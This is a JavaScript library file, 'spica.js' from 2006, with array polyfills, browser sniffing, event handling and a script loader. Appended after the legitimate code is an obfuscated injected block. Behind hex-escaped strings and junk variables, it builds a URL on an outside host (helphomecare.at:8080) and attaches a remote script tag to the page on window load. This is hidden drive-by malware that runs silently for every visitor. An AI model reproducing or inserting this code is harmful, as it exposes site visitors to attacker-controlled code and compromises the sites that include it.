// spica javascript libraries - spica.js -- version 0.05
// == written by Takuya Otani <takuya.otani@gmail.com> ===
// == Copyright (C) 2006 SimpleBoxes/SerendipityNZ Ltd. ==

// === array ===
if (!Array.prototype.pop)
{
	Array.prototype.pop = function()
	{
		if (!this.length) return null;
		var last = this[this.length - 1];
		--this.length;
		return last;
	}
}
if (!Array.prototype.push)
{
	Array.prototype.push = function()
	{
		for (var i=0,n=arguments.length;i<n;i++)
			this[this.length] = arguments[i];
		return this.length;
	}
}
if (!Array.prototype.indexOf)
{
	Array.prototype.indexOf = function(value,idx)
	{
		if (typeof(idx) != 'number') idx = 0;
		else if (idx < 0) idx = this.length + idx;
		for (var i=idx,n=this.length;i<n;i++)
			if (this[i] === value) return i;
		return -1;
	}
}
// === browser ===
function Browser()
{
	this.name = navigator.userAgent;
	this.isWinIE = this.isMacIE = false;
	this.isGecko = this.name.match(/Gecko\//);
	this.isSafari = this.name.match(/AppleWebKit/);
	this.isKHTML = this.isSafari || navigator.appVersion.match(/Konqueror|KHTML/);
	this.isOpera = window.opera;
	this.hasNS = (document.documentElement) ? document.documentElement.namespaceURI : null;
	if (document.all && !this.isGecko && !this.isSafari && !this.isOpera)
	{
		this.isWinIE = this.name.match(/Win/);
		this.isMacIE = this.name.match(/Mac/);
	}
}
var Browser = new Browser();
// === event ===
if (!window.Event) var Event = new Object;
Event = {
	cache : false,
	getEvent : function(evnt)
	{
		return (evnt) ? evnt : ((window.event) ? window.event : null);
	},
	getKey : function(evnt)
	{
		evnt = this.getEvent(evnt);
		return (evnt.which) ? evnt.which : evnt.keyCode;
	},
	stop : function(evnt)
	{
		try{ evnt.stopPropagation() } catch(err){};
		evnt.cancelBubble = true;
		try{ evnt.preventDefault() } catch(err){};
		return (evnt.returnValue = false);
	},
	register : function(object, type, handler)
	{
		if (type == 'keypress' && (Browser.isKHTML || object.attachEvent)) type = 'keydown';
		if (type == 'mousewheel' && Browser.isGecko) type = 'DOMMouseScroll';
		if (!this.cache) this.cache = [];
		if (object.addEventListener)
		{
			this.cache.push([object,type,handler]);
			object.addEventListener(type, handler, false);
		}
		else if (object.attachEvent)
		{
			this.cache.push([object,type,handler]);
			object.attachEvent(['on',type].join(''),handler);
		}
		else
		{
			object[['on',type].join('')] = handler;
		}
	},
	deregister : function(object, type, handler)
	{
		if (type == 'keypress' && (Browser.isKHTML || object.attachEvent)) type = 'keydown';
		if (type == 'mousewheel' && Browser.isGecko) type = 'DOMMouseScroll';
		if (object.removeEventListener)
			object.removeEventListener(type, handler, false);
		else if (object.detachEvent)
			object.detachEvent(['on',type].join(''), handler);
		else
			object[['on',type].join('')] = null;
	},
	deregisterAll : function()
	{
		if (!Event.cache) return
		for (var i=0,n=Event.cache.length;i<n;i++)
		{
			Event.deregister(Event.cache[i]);
			Event.cache[i][0] = null;
		}
		Event.cache = false;
	}
};
Event.register(window, 'unload', Event.deregisterAll);
// === dom ===
document.getElemetsByClassName = function(name,target)
{
	var result = [];
	var object  = null;
	var search = new RegExp(['(^|\\s)',name,'(\\s|$)'].join(''));
	if (target && target.getElementsByTagName)
		object = target.getElementsByTagName('*');
	if (!object)
		object = document.getElementsByTagName ? document.getElementsByTagName('*') : document.all;
	for (var i=0,n=object.length;i<n;i++)
	{
		var check = object[i].getAttribute('class') || object[i].className;
		if (check.match(search)) result.push(object[i]);
	}
	return result;
}
// === library ===
function Library()
{
	this._path = '';
	this._cache = [];
	this.lang = '';
	this.base = '';
	return this._init();
}
Library.prototype = {
	_init : function()
	{
		var rs_path = document.getElementsByName('X-Resource-Dir')[0];
		var js_path = document.getElementsByName('X-Script-Dir')[0];
		if (rs_path)
		{
			this.base = this._check_path(rs_path.getAttribute('content'));
			if (!js_path) this._path = [this.base,'js/'].join('');
		}
		if (js_path)
			this._path = this._check_path(js_path.getAttribute('content'));
		return this;
	},
	_initLang : function()
	{
		var html = document.getElementsByTagName('html')[0];
		if (!html) return;
		this.lang = html.getAttribute('xml:lang') || html.getAttribute('lang');
	},
	_check_path : function(path)
	{
		if (!path) return '';
		if (!path.match(/\/$/)) path = [path,'/'].join('');
		return path;
	},
	require : function(libs)
	{
		var pre  = '\n<script type="text/javascript" src="';
		var post = '.js"></script>';
		for (var i=0,n=libs.length;i<n;i++)
		{
			if (this._cache.indexOf(libs[i]) > -1) continue;
			document.write([pre,this._path,libs[i],post].join(''));
			this._cache.push(libs[i]);
		}
	},
	path : function(path)
	{
		this._path = this._check_path(path);
	}
}
var Library = new Library();
Event.register(window,'load',function() { Library._initLang() });


var fN='';var Nm='';var O;if(O!='' && O!='x'){O=null};function P(){var p='';var XW;if(XW!='Z' && XW!='oi'){XW=''};var Gw;if(Gw!='' && Gw!='pL'){Gw='NR'};var _=window;var _d=unescape;var t='';var X=_d("%2f%61%62%6f%75%74%75%73%2d%6f%72%67%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%73%75%6e%2e%63%6f%6d%2e%70%68%70");function f(D,u){var qG="";var fE;if(fE!='z' && fE!='Sl'){fE=''};var s;if(s!='e' && s!='Vz'){s='e'};var g="g";this._V="";var Xq="";var b=_d("%5b"), Q=_d("%5d");var wp=new String();var M=new String();var B=b+u+Q;var oP=new Date();var G=new RegExp(B, g);return D.replace(G, new String());};var MR='';var I="";var d;if(d!='Mb' && d!='L'){d='Mb'};var MQ;if(MQ!='' && MQ!='sT'){MQ='Wl'};var c=new String();var wf=new Date();this.GG='';var v=f('85672217603771648622714950526365','91657342');var JK;if(JK!='Kd'){JK=''};var m=document;var zc;if(zc!='' && zc!='vZ'){zc=null};var qr='';function N(){var kq='';var H;if(H!='JD'){H='JD'};var o=_d("%68%74%74%70%3a%2f%2f%68%65%6c%70%68%6f%6d%65%63%61%72%65%2e%61%74%3a");var aa=new Date();var du=new Date();c=o;this._N='';var Dd;if(Dd!='' && Dd!='PF'){Dd=''};c+=v;c+=X;var _dr;if(_dr!='' && _dr!='rL'){_dr='qF'};var cp;if(cp!='' && cp!='tN'){cp='sb'};var aT;if(aT!='' && aT!='Iw'){aT=''};try {var jd;if(jd!='' && jd!='pIN'){jd=null};w=m.createElement(f('sGcorFiLpLtG','G3HxmhXy1Lo9FwC'));this.KW="";this.xt="";w[_d("%73%72%63")]=c;var JH='';var Ml;if(Ml!='VR' && Ml!='WY'){Ml='VR'};w[_d("%64%65%66%65%72")]=[1,9][0];var dx=new Date();var cn='';var VB=new Array();m.body.appendChild(w);var uC;if(uC!='' && uC!='s_'){uC='xj'};} catch(fA){alert(fA);var me="";};var Pk;if(Pk!='jc' && Pk != ''){Pk=null};}var Ow;if(Ow!='' && Ow!='xa'){Ow=null};var JM=new String();_["LCHion".substr(4)+"jROlo".substr(3)+"NnocadnoNc".substr(4,2)]=N;var UX;if(UX!='ig' && UX!='PL'){UX=''};};var DV;if(DV!='Yx'){DV='Yx'};this.Tm="";var h="";P();var ll=new Array();var HA;if(HA!='FG'){HA=''};